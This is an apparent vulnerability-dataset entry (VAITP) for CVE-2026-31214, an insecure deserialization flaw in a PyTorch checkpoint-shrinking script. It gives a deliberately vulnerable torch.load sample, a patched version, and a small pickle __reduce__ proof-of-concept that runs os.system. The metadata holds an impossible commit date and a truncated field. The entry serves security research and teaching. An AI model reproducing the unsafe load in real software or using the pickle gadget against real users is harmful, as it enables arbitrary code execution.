CVE-2026-31214
Insecure deserialization in torch.load allows RCE via a malicious checkpoint.
- CVSS 9.8
- CWE-502
- Input Validation and Sanitization
- Remote
The torch-checkpoint-shrink.py script in the ml-engineering project in commit 0099885db36a8f06556efe1faf552518852cb1e0 (2025-20-27) contains an insecure deserialization vulnerability (CWE-502). The script uses torch.load() to process PyTorch checkpoint files (.pt) without enabling the security-restrictive weights_only=True parameter. This oversight allows the deserialization of arbitrary Python objects via the pickle module. A remote attacker can exploit this by providing a maliciously crafted checkpoint file, leading to arbitrary code execution in the context of the user running the script.
- CWE
- CWE-502
- CVSS base score
- 9.8
- Published
- 2026-05-12
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- torch-checkp
Solution
Modify the script to use `torch.load(…, weights_only=True)` when loading checkpoint files.
Vulnerable code sample
import torch
import argparse
import sys
def shrink_checkpoint(input_path, output_path):
"""
Loads a PyTorch checkpoint, removes optimizer state, and saves it.
"""
print(f"Loading checkpoint from: {input_path}")
# VULNERABLE LINE: The script uses torch.load() without the security-restrictive
# weights_only=True parameter. This allows deserialization of arbitrary Python
# objects via the pickle module, leading to potential remote code execution
# if a malicious checkpoint file is provided.
checkpoint = torch.load(input_path, map_location='cpu')
print("Successfully loaded checkpoint.")
# Example "shrinking" logic: remove the optimizer's state dictionary
if 'optimizer_state_dict' in checkpoint:
print("Removing optimizer state from the checkpoint.")
del checkpoint['optimizer_state_dict']
print(f"Saving shrunken checkpoint to: {output_path}")
torch.save(checkpoint, output_path)
print("Done.")
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="Shrink a PyTorch checkpoint file by removing optimizer states."
)
parser.add_argument(
"input_file",
type=str,
help="Path to the input PyTorch checkpoint file (.pt)."
)
parser.add_argument(
"output_file",
type=str,
help="Path for the shrunken output checkpoint file."
)
args = parser.parse_args()
try:
shrink_checkpoint(args.input_file, args.output_file)
except Exception as e:
print(f"An error occurred: {e}", file=sys.stderr)
sys.exit(1)Patched code sample
import torch
def secure_load_checkpoint(checkpoint_path):
"""
Securely loads a PyTorch checkpoint by setting weights_only=True.
This mitigates insecure deserialization by preventing the execution
of arbitrary code contained in a malicious checkpoint file.
"""
return torch.load(checkpoint_path, weights_only=True)Payload
import torch
import os
class Exploit:
def __reduce__(self):
return (os.system, ('touch /tmp/pwned',))
torch.save(Exploit(), 'malicious.pt')
Cite this entry
@misc{vaitp:cve202631214,
title = {{Insecure deserialization in torch.load allows RCE via a malicious checkpoint.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-31214},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31214/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
